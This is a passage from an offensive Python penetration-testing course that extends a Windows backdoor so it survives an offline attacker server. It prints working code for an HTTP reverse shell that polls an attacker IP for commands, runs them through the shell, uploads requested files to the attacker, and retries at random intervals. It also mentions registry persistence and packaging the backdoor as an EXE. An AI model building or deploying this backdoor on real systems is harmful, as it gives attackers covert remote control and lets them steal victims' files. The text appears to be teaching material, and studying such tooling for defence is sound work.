In all our previous sections, we have assumed that the attacker and the target machine are in sync with time. This means that our server was up and listening all the time. Now, the question is: What happens if the attacker machine was offline for some reason or the connection did not happen properly? Well, our backdoor on the client side will crash and at the same time give a pop up as an error message and dump a text file indicating an exception error.
Currently, our Kali machine is not listening on any port. So, if the attacker initiates a TCP SYN to make a connection with us, now, since the port is closed, our Kali machine will reply with a TCP RST. Now, let's have a quick look at the packet level:
- Enable Wireshark on the attacker machine by executing sudo wireshark and you can see that our script is not running there
- Start a new live capture
- Set the filter to TCP
- Log in on the Windows machine
- Since we are not listening to port 80, we are replying with TCP RST, as you can see in the following screenshot:
Also, on the target side, our script will crash and throws away an exception or log message. Navigate to the log file and you'll see that it says connection aborted because the target machine actively refused it, as shown in the following screenshot:
Log in with the admin account, where we have the Python compiler. So we'll fix this issue by creating an infinite loop with an exception handler, as shown here:
# Python For Offensive PenTest: A Complete Practical Course - All rights reserved
# Follow me on LinkedIn https://jo.linkedin.com/in/python2
# Tunning
import os
import shutil
import subprocess
import _winreg as wreg
import requests
import time
...
#Last phase is to start a reverse connection back to our kali machine
import random
def connect():
while True:
req = requests.get('http://10.0.2.15')
command = req.text
if 'terminate' in command:
return 1
elif 'grab' in command:
grab,path=command.split('*')
if os.path.exists(path):
url = 'http://10.0.2.15/store'
files = {'file': open(path, 'rb')}
r = requests.post(url, files=files)
else:
post_response = requests.post(url='http://10.0.2.15', data=
'[-] Not able to find the file !' )
else:
CMD = subprocess.Popen(command, shell=True, stdout=subprocess.PIPE, stderr=subprocess.PIPE, stdin=subprocess.PIPE)
post_response = requests.post(url='http://10.0.2.15', data=CMD.stdout.read() )
post_response = requests.post(url='http://10.0.2.15', data=CMD.stderr.read() )
time.sleep(3)
while True:
try:
if connect()==1:
break
except:
sleep_for = random.randrange(1,10)
time.sleep( sleep_for )
#time.sleep( sleep_for ) #sleep for a random time between 1-10 minutes
pass
As you can see, a new function called connect() is added to the script. So, using an exception handler, whatever the reason may be, if we get an exception for initiating the connection, we'll sleep for some random time between 1 to 10 seconds, and then try to connect again. In a real-world scenario, you've got to be more patient and make it from 1 to 10 minutes. In the end, we pass the exception instead of raising it here. Now, the question is: How to terminate the process, as we have two infinite loops? Since the single break command won't do the job for us, the trick here is, if we terminate, then we will break the whole function and retain a value of 1. And if the connection function retains the value of 1, then we will break the second loop, which will terminate the process eventually.
Now, let's quickly try and test this modification:
- As we've done earlier, export the script to EXE
- Ensure that the Documents folder and the registry key are empty
- Double-click on Persistence.exe from the dist folder and run the script
And once we run our script here, notice that the target keeps trying to reach us until we run our server and the connection attempts here will be anywhere between 1 to 10 seconds, as shown in the following screenshot:
Now, once we start our listener on the server side, we have completed three-way handshakes and got the GET request from our target, as shown in the following screenshot:
Check whether the registry key is there and whether the script has copied itself to Documents. So, the last thing to test is whether the termination process is working or not. Ping 10.0.2.15 and perform a terminate. You can see that Persistence.exe is gone from the Windows Task Manager.